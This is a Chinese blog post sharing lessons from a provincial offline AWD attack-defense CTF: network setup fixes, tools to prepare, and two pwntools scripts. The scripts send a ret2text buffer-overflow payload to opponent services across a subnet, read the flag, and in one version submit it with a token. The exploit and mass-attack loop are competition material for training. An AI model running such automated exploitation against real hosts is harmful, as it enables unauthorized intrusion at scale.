🌴前言
最近参加了省赛的线下AWD,遇到了一些坑,这里总结一下分享给没有打过AWD,即将要打AWD的师傅们。
🌳网络
AWD最重要的不是解题,而是网络,要解题,你首先要有网。我的队友是轻薄本,然而比赛现场需要插他的那个网线才能连到他的局域网,轻薄本没有网线接口,然后我的队友也没有USB外置网卡,比赛官方也不会给这个东西,所以用轻薄本的师傅们要注意了,一定要备好USB外置网卡,不然到比赛现场只能吃吃吃。
对于我而言,我是pwn方向,在连接局域网时也出现了问题,我的虚拟机捣鼓了半天连不上局域网。试过了很多方法,例如更改为桥接模式等等。最后的解决办法是:
不需要动那些乱七八糟的连接模式,NAT即可,我拍了一些快照,如下图,第一个是虚拟机刚安装好后的快照,第二个是虚拟机装好pwn所需软件后的快照,首先先保存当前状态的快照,然后我将虚拟机的快照恢复成了第一个,然后关机,再启动(关机再启动能重置网卡。如果不换快照,单纯地重启也可以重置网卡,但是对这个局域网来说没有用,还是连不上,我也没弄清啥原理),启动后ping一下局域网发现能ping通了,然后再切换成之前那个状态的快照,再重启,就可以ping通了。
4.26记:网络没有那么麻烦,连上局域网后,打开设置,将这里关闭再打开即可。
这个操作弄了我3个小时,最后只剩1个小时了,服务器已经被别人玩烂了o(╥﹏╥)o
🌳工具
AWD中是不能与外界联网的,任何工具都无法下载,所以一定要在比赛前将所有可能用到的东西准备好,例如pwn方向,需要准备好libc 2.23 - 2.35来应对堆题,以及基本的Xshell(连接服务器)和Xftp(服务器与主机文件传输)
在pwn方向做堆题时,怎么看题目的libc版本呢?在Xftp中,pwn题会看到lib32和lib64,lib64中一般放了一个ld的快捷方式,如果这题是32位,直接看lib32就可以,里面有版本,如果是64,需要用Xshell进入到lib64目录中,输入ll,然后就可以看到那个快捷方式指向的地方,去那个地方就能找到对应的版本,并且可以将libc拖出来用。
🌳自动化脚本
AWD比赛非常残酷,如果没有自动化脚本,打了和没打是差不多的。如果你是第一次打AWD,大概率要在这上面吃亏。所以推荐在bugku中的AWD自定义比赛中进行自动化脚本的测试。
我的省赛有60多个队,一共20轮,每轮打60个队的话,就需要提交1200次,这其实不算什么,最难受的是你手动只能一个一个打,输入指令获取对方flag,要等5-10秒对方flag才会出来,打一个队需要10秒,60个就是600秒,10分钟一轮,也就是说可能你这轮结束了都没把所有的flag提交,白白浪费了一堆分数。没有自动化多线程脚本,又折磨又累。
以下是一个基于bugku的pwn方向单线程自动攻击提交脚本,是我改写另一位师傅的:
from pwn import *
import os
import requests
file_name = './pwn5'
'''
debug = 0
if debug:
io = remote('node4.buuoj.cn',26238)
else:
io = process(file_name)
'''
elf = ELF(file_name)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
def pwn():
shell = 0x4006CE
p1 = b'a' * (0x30 + 8) + p64(shell)
io.sendlineafter('Please tell me your name: ', p1)
io.sendline('cat flag')
flag = io.recvuntil('\n', drop = True)
success('flag =>> ' + str(flag))
return flag
def submit(flag, token):
url = "https://ctf.bugku.com/pvp/submit.html?"
data = {
'flag': flag,
'token': token
}
r = requests.post(url = url, data = data, verify = False)
rq = r.text
print(rq)
for i in song:
try:
io = remote('192-168-1-' + str(i) + '.pvp3469.bugku.cn', 9999)
flag = pwn()
print (flag)
submit(flag, 'a68b050845e45ec31755214b53e2f07a')
io.close()
except:
continue
4.26增(不自动提交,比较简单方便):
from pwn import *
file_name = './pwn5'
flag1 = []
index = 0
'''
debug = 0
if debug:
io = remote('node4.buuoj.cn',26238)
else:
io = process(file_name)
'''
elf = ELF(file_name)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
def pwn():
shell = 0x4006CE
p1 = b'a' * (0x30 + 8) + p64(shell)
io.sendlineafter('Please tell me your name: ', p1)
#上面为获取shell的过程,下面是获取flag的过程
io.sendline('cat flag')
flag = io.recvuntil('\n', drop = True)
success('flag =>> ' + str(flag))
return flag
for i in range(256):
try:
io = remote('192-168-1-' + str(i) + '.pvp3469.bugku.cn', 9999)
flag = pwn()
flag1.append(flag)
io.close()
index += 1
except:
continue
print(flag1)
print("本轮共拿到" + str(index) + "个队伍的flag")
pwn题的服务端口在bugku是9999,我打的省赛是1234,这需要用nmap进行端口扫描,一般来讲最不合理的那个端口就是pwn题,pwn手务必提前下好nmap
pwn()函数就是平时做题的exp,要多添加几行,就是获取flag,并且return flag,flag怎么获取接收要看比赛,bugku是给了标准的flag{},但是我的省赛是 adawdawfgqgqw4654gq685qg684 这种,要随机应变。我这个题目是ret2text,很简单。
下面的submit是提交flag,将pwn()返回的flag作为参数,然后你要手动输入网站给的token。url,token,data在不同是赛场上是不一样的,要会变通。因为我也不是很会变通,这里就不讲怎么变通啦,等我学会了再说叭 XD
再下面就是循环打,song[]是对方的ip一部分,因为是在同一个网段下打
这里还要提一下,默认的ssh端口是22,他这里是2222。
以上就是我所踩的一些坑,希望对师傅们有所帮助,我也就打过一次线下AWD,也不是很有经验,所以并不是很全面,师傅们有什么需要补充的都可以在评论区说哦~